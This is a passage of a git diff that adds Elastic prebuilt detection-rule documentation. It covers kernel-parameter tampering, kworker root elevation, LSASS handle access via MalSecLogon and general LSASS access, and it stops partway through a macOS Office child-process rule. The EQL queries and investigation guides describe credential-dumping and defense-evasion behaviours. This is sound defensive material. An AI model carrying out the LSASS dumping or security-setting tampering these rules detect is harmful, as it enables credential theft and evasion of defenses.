files. +- Conduct a thorough examination of the system for signs of compromise, including checking for unauthorized access, unusual processes, or modifications to critical files. +- Restore the system from a known good backup if the integrity of the system is compromised and cannot be reliably remediated. +- Implement additional monitoring and logging for kernel feature modifications to detect similar activities in the future, ensuring alerts are configured for immediate response. +- Escalate the incident to the security operations center (SOC) or relevant security team for further investigation and correlation with other potential threats across the network. +- Review and update security policies and configurations to prevent unauthorized kernel modifications, including enforcing stricter access controls and auditing procedures. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and +process.command_line : ( + "*/etc/sysctl.conf*", "*/etc/sysctl.d/*", "*/proc/sys/kernel/nmi_watchdog*", + "*/proc/sys/vm/nr_hugepages*", "*/proc/sys/kernel/yama/ptrace_scope*", + "*/proc/sys/kernel/randomize_va_space*", "*/proc/sys/vm/drop_caches*", + "*/proc/sys/kernel/sysrq*", "*grsecurity*", "*exec-shield*", + "*kernel.randomize_va_space*", "*kernel.yama.ptrace_scope*", + "*kernel.nmi_watchdog*", "*vm.nr_hugepages*", "*vm.drop_caches*", + "*kernel.sysrq*" +) and +?process.parent.executable != null and +( + (process.name == "tee" and process.args like "-*a*") or // also detects --append + (process.name == "cat" and not process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")) or + (process.name == "grep" and process.args_count == 3 and not process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")) or + (process.name == "sysctl" and process.args like ("*-w*", "*--write*", "*=*")) or + (process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.args : "*echo *") +) and +not ( + process.parent.executable in ( + "/opt/novell/groupwise/agents/bin/gwia", "/opt/novell/groupwise/agents/bin/gwmta", "/opt/novell/groupwise/agents/bin/gwpoa", + "/opt/illumio_ven/system/etc/init.d/illumio-firewall", "/usr/bin/oracle-database-preinstall-19c-verify", "/usr/bin/make", + "/usr/local/qualys/cloud-agent/bin/qualys-scan-util" + ) or + process.parent.executable like "/tmp/CVU_19_resource*/checkmemlock.sh" or + process.parent.args == "/usr/share/mysql/mysql-systemd-start" or + process.parent.command_line like "*ansible*" or + (process.parent.name in ("crond", "cron") and process.command_line like "*drop_caches*") or + (process.parent.name == "python.original" and process.parent.args == "/usr/lib/venv-salt-minion/bin/salt-minion") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Indicator Blocking +** ID: T1562.006 +** Reference URL: https://attack.mitre.org/techniques/T1562/006/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-kworker-uid-elevation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-kworker-uid-elevation.asciidoc new file mode 100644 index 0000000000..c58be5c1f2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-kworker-uid-elevation.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-suspicious-kworker-uid-elevation]] +=== Suspicious Kworker UID Elevation + +Monitors for the elevation of regular user permissions to root permissions through the kworker process. kworker, or kernel worker, processes are part of the kernel's workqueue mechanism. They are responsible for executing work that has been scheduled to be done in kernel space, which might include tasks like handling interrupts, background activities, and other kernel-related tasks. Attackers may attempt to evade detection by masquerading as a kernel worker process, and hijack the execution flow by hooking certain functions/syscalls through a rootkit in order to provide easy access to root via a special modified command. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Kworker UID Elevation* + + +Kworker processes are integral to Linux, handling tasks like interrupts and background activities within the kernel. Adversaries may exploit these processes by disguising malicious activities as legitimate kernel operations, often using rootkits to hijack execution flow and gain root access. The detection rule identifies anomalies by monitoring for kworker processes that unexpectedly change session IDs and elevate privileges to root, signaling potential misuse. + + +*Possible investigation steps* + + +- Review the process details for the kworker process with a session ID change and user ID of 0 to confirm the legitimacy of the process and its parent process. +- Check the system logs around the time of the session ID change event for any unusual activities or errors that might indicate tampering or exploitation attempts. +- Investigate any recent changes to the system, such as new software installations or updates, that could have introduced vulnerabilities or unauthorized modifications. +- Analyze the system for signs of rootkit presence, such as hidden files or processes, by using rootkit detection tools or manual inspection techniques. +- Correlate the event with other security alerts or anomalies in the network to determine if this is part of a broader attack campaign or isolated incident. + + +*False positive analysis* + + +- Regular system updates or maintenance activities may trigger session ID changes in kworker processes. Users can monitor scheduled maintenance windows and exclude these time frames from triggering alerts. +- Custom kernel modules or legitimate software that interacts with kernel processes might cause kworker to change session IDs. Identify and whitelist these known modules or software to prevent false positives. +- Automated scripts or tools that require elevated privileges for legitimate tasks could inadvertently cause kworker processes to appear suspicious. Review and document these scripts, then create exceptions for their expected behavior. +- Certain system configurations or optimizations might lead to benign kworker session ID changes. Conduct a baseline analysis of normal system behavior and adjust the detection rule to accommodate these patterns without compromising security. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Terminate the suspicious kworker process identified in the alert to stop any ongoing malicious activity. +- Conduct a thorough review of system logs and process trees to identify any additional compromised processes or indicators of rootkit installation. +- Restore the system from a known good backup if rootkit presence is confirmed, as rootkits can deeply embed themselves into the system. +- Change all credentials and keys that may have been exposed or used on the compromised system to prevent unauthorized access using stolen credentials. +- Implement enhanced monitoring and logging for kworker processes and session ID changes to detect similar activities in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click Add integrations. +- In the query bar, search for Elastic Defend and select the integration to see more details about it. +- Click Add Elastic Defend. +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either Traditional Endpoints or Cloud Workloads. +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in New agent policy name. If other agent policies already exist, you can click the Existing hosts tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click Save and Continue. +- To complete the integration, select Add Elastic Agent to your hosts and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.action == "session_id_change" and process.name : "kworker*" and +user.id == "0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: KernelCallbackTable +** ID: T1574.013 +** Reference URL: https://attack.mitre.org/techniques/T1574/013/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Masquerade Task or Service +** ID: T1036.004 +** Reference URL: https://attack.mitre.org/techniques/T1036/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-lsass-access-via-malseclogon.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-lsass-access-via-malseclogon.asciidoc new file mode 100644 index 0000000000..fae465ee0b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-lsass-access-via-malseclogon.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-suspicious-lsass-access-via-malseclogon]] +=== Suspicious LSASS Access via MalSecLogon + +Identifies suspicious access to LSASS handle from a call trace pointing to seclogon.dll and with a suspicious access rights value. This may indicate an attempt to leak an LSASS handle via abusing the Secondary Logon service in preparation for credential access. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 313 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious LSASS Access via MalSecLogon* + + + +*Possible investigation steps* + + +- Does the alert show the MalSecLogon handle-leak pattern rather than generic LSASS access? + - Why: the alert-local target, call trace, and access mask distinguish seclogon-mediated LSASS handle leakage from ordinary LSASS access; they do not prove a dump was written. + - Focus: `winlog.event_data.TargetImage`, `winlog.event_data.CallTrace`, `winlog.event_data.GrantedAccess`, `winlog.event_data.SourceImage`, `winlog.event_data.SourceProcessGUID`, `@timestamp`, and `host.id`. + - Implication: escalate when the tuple is LSASS target + "seclogon.dll" call trace + "0x14c0" access from the seclogon-hosting "svchost.exe"; lower suspicion only when that exact tuple and service context match a recognized security product or authorized test on the same host. + +- Which seclogon source process and surrounding initiator candidates can you recover? + - Focus: use `winlog.event_data.SourceProcessGUID` and `winlog.event_data.SourceImage` to recover the seclogon-hosting process, then use `host.id` and `process.entity_id` to review surrounding process starts with `process.executable` and `process.command_line`. !{investigate{"description":"","label":"Process events for the recovered seclogon source process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: `winlog.event_data.SourceProcessGUID` identifies the service host that touched LSASS, not automatically the original RPC caller; if endpoint process start details are sparse, keep the conclusion at service-host level instead of assigning a caller. + - Implication: escalate when the surrounding window shows MalSeclogon-like tooling, shells, script hosts, dump utilities, or newly started binaries that explain why seclogon touched LSASS; unresolved initiator recovery does not clear the alert. + +- Does the recovered lineage and session context fit a recognized Secondary Logon workflow? + - Focus: process context for the recovered service host or initiator candidates: `process.command_line`, `process.parent.executable`, `process.parent.command_line`, `process.Ext.ancestry`, and `user.id`; if parent or ancestry fields are absent, stay scoped to `host.id` plus `process.entity_id` and the tight alert window. + - Implication: escalate when the chain starts from phishing, scripting, remote-admin, dump tooling, or a user context inconsistent with the asset role; treat recognized security-product or authorized-test lineage as lower suspicion, but continue to artifact and authentication checks before closure. + +- Do process or file artifacts show dump preparation after the handle access? + - Why: the alert proves seclogon-hosted handle access, not dump completion; process and file artifacts show whether the activity advanced toward credential dumping. + - Focus: endpoint process and file events scoped by `host.id` plus recovered `process.entity_id`, checking `process.command_line`, `process.executable`, `file.path`, and `file.name`. !{investigate{"description":"","label":"Process and file events for the recovered process context","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: look for LSASS clone or dump-helper command lines, dump-like files, encrypted or renamed dump output, or rapid child creation around the handle event; missing endpoint file telemetry is unresolved, not benign. + - Implication: escalate when the timeline shows dump output, clone or dump helpers, suspicious child creation, or staged files tied to the recovered process context; absence of artifacts lowers urgency only when file coverage is present and the process context is otherwise recognized. + +- Does the user and host context make this access especially high impact? + - Focus: `host.name`, `user.id`, `user.name`, and `user.domain`, plus asset inventory or alert enrichment for domain controller, jump host, credential vault, or tier-0 administration roles when available. + - Implication: escalate faster when the host or account can expose privileged credentials; ordinary workstation context lowers scope, not suspicion, unless the alert-local tuple and recovered workflow are also recognized. + +- Do follow-on authentication events suggest the leaked handle was used to pivot? + - Why: MalSecLogon handle leakage is usually a precursor to dumping or token abuse, so later credential use can be more decisive than the access event alone. + - Focus: Windows Security events for the same `host.id` and initial `user.id` pivot, especially `winlog.event_id`, `winlog.logon.type`, `winlog.event_data.TargetLogonId`, `winlog.event_data.SubjectLogonId`, and `source.ip`. !{investigate{"description":"","label":"Authentication events for the same user on the host","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4624","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.TargetUserSid","queryType":"phrase","value":"{{user.id}}","valueType":"string"}],[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4648","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"winlog.event_data.SubjectUserSid","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-24h","relativeTo":"now"}} + - Hint: if `process.Ext.authentication_id` is available, match it to `winlog.event_data.TargetLogonId` for 4624 session creation and search `winlog.event_data.SubjectLogonId` separately for 4648 explicit-credential use; read `winlog.event_data.TargetUserSid` as the authenticated account and `winlog.event_data.SubjectUserSid` as the initiator when they differ. Missing authentication telemetry is unresolved, not benign. + - Implication: escalate when later events show NewCredentials logon type 9, explicit-credential use, or unexpected remote logons after the LSASS access; do not close solely because no follow-on authentication telemetry was ingested. + +- If the local evidence remains suspicious or unresolved, do related alerts for this user or host show broader credential abuse? + - Focus: related alerts for the same `user.id` in the last 48 hours, especially credential-access, lateral-movement, privilege-escalation, archive, or suspicious authentication findings. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare related alerts for the same `host.id` only after local evidence is suspicious or unresolved, to decide whether this is confined to one asset or part of a broader credential-theft chain. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same user or host also shows dumping, token abuse, remote-admin, or suspicious authentication alerts that support the local findings; keep the case local when related alerts are absent or clearly separate from the LSASS-handle activity. + +- Escalate when the alert-local tuple, recovered process context, artifacts, privileged scope, or follow-on credential use support unauthorized handle leakage; close only when the exact tuple and recovered workflow align with recognized security tooling or authorized testing; preserve and escalate when evidence is mixed or missing. + + +*False positive analysis* + + +- Seclogon-mediated LSASS handle access with "0x14c0" is an operational anti-pattern outside credential-protection products, EDR diagnostics, and authorized IR or red-team testing. Confirm a benign workflow only when the alert-local tuple, seclogon service context, recovered process identity, `user.id`, `host.id`, and absence of dump artifacts or credential-use follow-on all align. When telemetry cannot prove legitimacy, require confirmation for that exact activity from the security product owner, IR lead, or test plan. +- Before creating an exception, verify prior alerts from this rule show the same `winlog.event_data.SourceImage`, `winlog.event_data.CallTrace`, `winlog.event_data.GrantedAccess`, recovered workflow identity, `user.id`, `host.id`, and benign follow-on pattern. Avoid exceptions on `process.name`, "svchost.exe", seclogon, or the access mask alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the exact alert-local tuple, service context, recovered workflow identity, host/user scope, and benign follow-on evidence. Create an exception only for that stable pattern after recurrence or explicit product/test confirmation. +- If suspicious but unconfirmed, preserve the alert document, source service GUID/image, recovered process starts, command lines, authentication records, volatile handle/service state when feasible, and any `file.path` dump artifacts before containment. Apply reversible containment first, such as suspending the recovered non-system tool, restricting outbound administrative access, or temporarily limiting the affected `user.id` while scope is unresolved. +- If confirmed malicious, isolate the affected host and contain accounts only after preserving the seclogon context, recovered initiator candidates, dump artifacts, and follow-on authentication evidence. If immediate isolation is unavailable, escalate with that evidence set to the team that can act. +- For privileged hosts or accounts, activate credential-compromise response and rotate exposed credentials according to host role and account tier. Do not assume enterprise-wide compromise without dump or credential-use evidence, but treat confirmed LSASS dump artifacts on tier-0 assets as urgent. +- Eradicate only the tools, scripts, dump files, XOR-protected dumps, staged files, persistence, and entry-path artifacts found during the investigation, then remediate the access path that allowed the Secondary Logon abuse. +- After containment, reduce recurrence risk by reviewing local administrator and debug-privilege exposure, LSASS protection such as RunAsPPL or Credential Guard where supported, and Secondary Logon service necessity on critical servers. + + +==== Setup + + + +*Setup* + + +This rule requires Sysmon telemetry to be enabled and ingested. + +Setup instructions: https://ela.st/sysmon-event-10-setup + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.code == "10" and + winlog.event_data.TargetImage : "?:\\WINDOWS\\system32\\lsass.exe" and + + /* seclogon service accessing lsass */ + winlog.event_data.CallTrace : "*seclogon.dll*" and process.name : "svchost.exe" and + + /* PROCESS_CREATE_PROCESS & PROCESS_DUP_HANDLE & PROCESS_QUERY_INFORMATION & PROCESS_QUERY_LIMITED_INFORMATION */ + winlog.event_data.GrantedAccess == "0x14c0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-lsass-process-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-lsass-process-access.asciidoc new file mode 100644 index 0000000000..05072249a4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-lsass-process-access.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-suspicious-lsass-process-access]] +=== Suspicious Lsass Process Access + +Identifies access attempts to LSASS handle, this may indicate an attempt to dump credentials from Lsass memory. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.001/T1003.001.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Lsass Process Access* + + +The Local Security Authority Subsystem Service (LSASS) is crucial for enforcing security policies and managing user logins in Windows environments. Adversaries often target LSASS to extract credentials, enabling unauthorized access. The detection rule identifies unusual access attempts to LSASS by filtering out legitimate processes and access patterns, focusing on anomalies that suggest credential dumping activities. + + +*Possible investigation steps* + + +- Review the process details that triggered the alert, focusing on the process name and executable path to determine if it is a known legitimate application or potentially malicious. +- Examine the GrantedAccess value in the event data to understand the level of access attempted on the LSASS process and compare it against typical access patterns. +- Investigate the parent process of the suspicious process to identify how it was spawned and assess if it is part of a legitimate workflow or an anomaly. +- Check the CallTrace field for any unusual or suspicious DLLs that might indicate malicious activity or exploitation attempts. +- Correlate the alert with other security events or logs from the same host to identify any related suspicious activities or patterns, such as network connections or file modifications. +- Verify the host's security posture, including the status of antivirus or endpoint protection solutions, to ensure they are functioning correctly and have not been tampered with. + + +*False positive analysis* + + +- Legitimate security tools like Sysinternals Process Explorer and Process Monitor can trigger false positives. Exclude these by adding their process names to the exception list. +- Windows Defender and other antivirus software may access LSASS for legitimate scanning purposes. Exclude their executable paths from the detection rule to prevent false alerts. +- System processes such as csrss.exe, lsm.exe, and wmiprvse.exe are known to access LSASS as part of normal operations. Ensure these are included in the process executable exceptions to avoid unnecessary alerts. +- Software updates and installers, like those from Cisco AnyConnect or Oracle, may access LSASS during legitimate operations. Add these specific paths to the exclusion list to reduce false positives. +- Custom enterprise applications that interact with LSASS for authentication purposes should be identified and their paths added to the exceptions to prevent disruption in monitoring. + + +*Response and remediation* + + +- Isolate the affected system from the network immediately to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert that are attempting to access the LSASS process, ensuring that legitimate processes are not disrupted. +- Conduct a memory dump analysis of the affected system to identify any malicious tools or scripts used for credential dumping, focusing on the LSASS process. +- Change all potentially compromised credentials, especially those with administrative privileges, to prevent unauthorized access using stolen credentials. +- Apply patches and updates to the affected system to address any vulnerabilities that may have been exploited by the adversary. +- Monitor the network for any signs of further suspicious activity or attempts to access LSASS on other systems, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires Sysmon telemetry to be enabled and ingested. + +Setup instructions: https://ela.st/sysmon-event-10-setup + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.code == "10" and + winlog.event_data.TargetImage : "?:\\WINDOWS\\system32\\lsass.exe" and + not winlog.event_data.GrantedAccess : + ("0x1000", "0x1400", "0x101400", "0x101000", "0x101001", "0x100000", "0x100040", "0x3200", "0x40", "0x3200") and + not process.name : ("procexp64.exe", "procmon.exe", "procexp.exe", "Microsoft.Identity.AadConnect.Health.AadSync.Host.ex") and + not process.executable : ( + "?:\\ProgramData\\Microsoft\\Windows Defender\\platform\\*", + "?:\\ProgramData\\WebEx\\webex\\*", + "?:\\Program Files (x86)\\*", + "?:\\Program Files\\*", + "?:\\Windows\\CCM\\CcmExec.exe", + "?:\\Windows\\LTSvc\\LTSVC.exe", + "?:\\Windows\\Sysmon.exe", + "?:\\Windows\\Sysmon64.exe", + "C:\\Windows\\CynetMS.exe", + "?:\\Windows\\system32\\csrss.exe", + "?:\\Windows\\System32\\lsm.exe", + "?:\\Windows\\system32\\MRT.exe", + "?:\\Windows\\System32\\msiexec.exe", + "?:\\Windows\\system32\\wbem\\wmiprvse.exe", + "?:\\Windows\\system32\\wininit.exe", + "?:\\Windows\\SystemTemp\\GUM*.tmp\\GoogleUpdate.exe", + "?:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe", + "C:\\oracle\\64\\02\\instantclient_19_13\\sqlplus.exe", + "C:\\oracle\\64\\02\\instantclient_19_13\\sqlldr.exe", + "d:\\oracle\\product\\19\\dbhome1\\bin\\ORACLE.EXE", + "C:\\wamp\\bin\\apache\\apache*\\bin\\httpd.exe", + "C:\\Windows\\system32\\netstat.exe", + "C:\\PROGRA~1\\INFORM~1\\apps\\jdk\\*\\jre\\bin\\java.exe", + "C:\\PROGRA~2\\CyberCNSAgentV2\\osqueryi.exe", + "C:\\Utilityw2k19\\packetbeat\\packetbeat.exe", + "C:\\ProgramData\\Cisco\\Cisco AnyConnect Secure Mobility Client\\Temp\\CloudUpdate\\vpndownloader.exe", + "C:\\ProgramData\\Cisco\\Cisco Secure Client\\Temp\\CloudUpdate\\vpndownloader.exe" + ) and + not winlog.event_data.CallTrace : ("*mpengine.dll*", "*appresolver.dll*", "*sysmain.dll*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-macos-ms-office-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-macos-ms-office-child-process.asciidoc new file mode 100644 index 0000000000..f42b80fd97 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-macos-ms-office-child-process.asciidoc @@ -0,0 +1,263 @@ +[[prebuilt-rule-8-19-34-suspicious-macos-ms-office-child-process]] +=== Suspicious macOS MS Office Child Process + +Identifies suspicious child processes of frequently targeted Microsoft Office applications (Word, PowerPoint, and Excel). These child processes are often launched during exploitation of Office applications or by documents with malicious macros. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.malwarebytes.com/cybercrime/2017/02/microsoft-office-macro-malware-targets-macs/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Initial Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious macOS MS Office Child Process* + + +Microsoft Office applications on macOS can be exploited by adversaries to execute malicious child processes, often through malicious macros or document exploits. These child processes may include scripting languages or utilities that can be leveraged for unauthorized actions. The detection rule identifies such suspicious activity by monitoring for unexpected child processes spawned by Office apps, while filtering out known benign behaviors and false positives, thus helping to pinpoint potential threats. + + +*Possible investigation steps* + + +- Review the parent process name and executable path to confirm if the Office application is legitimate and expected on the host. +- Examine the child process name and command line arguments to identify any potentially malicious or unexpected behavior, such as the use of scripting languages or network utilities like curl or nscurl. +- Check the process arguments for any indicators of compromise or suspicious patterns that are not filtered out by the rule, such as unexpected network connections or file modifications. +- Investigate the effective parent executable path to ensure it is not associated with known benign applications or services that are excluded by the rule. +- Correlate the alert with any recent phishing attempts or suspicious email activity that might have led to the execution of malicious macros or document exploits. +- Analyze the host's recent activity and system logs to identify any other anomalies or related alerts that could provide additional context or evidence of compromise. + + +*False positive analysis* + + +- Product 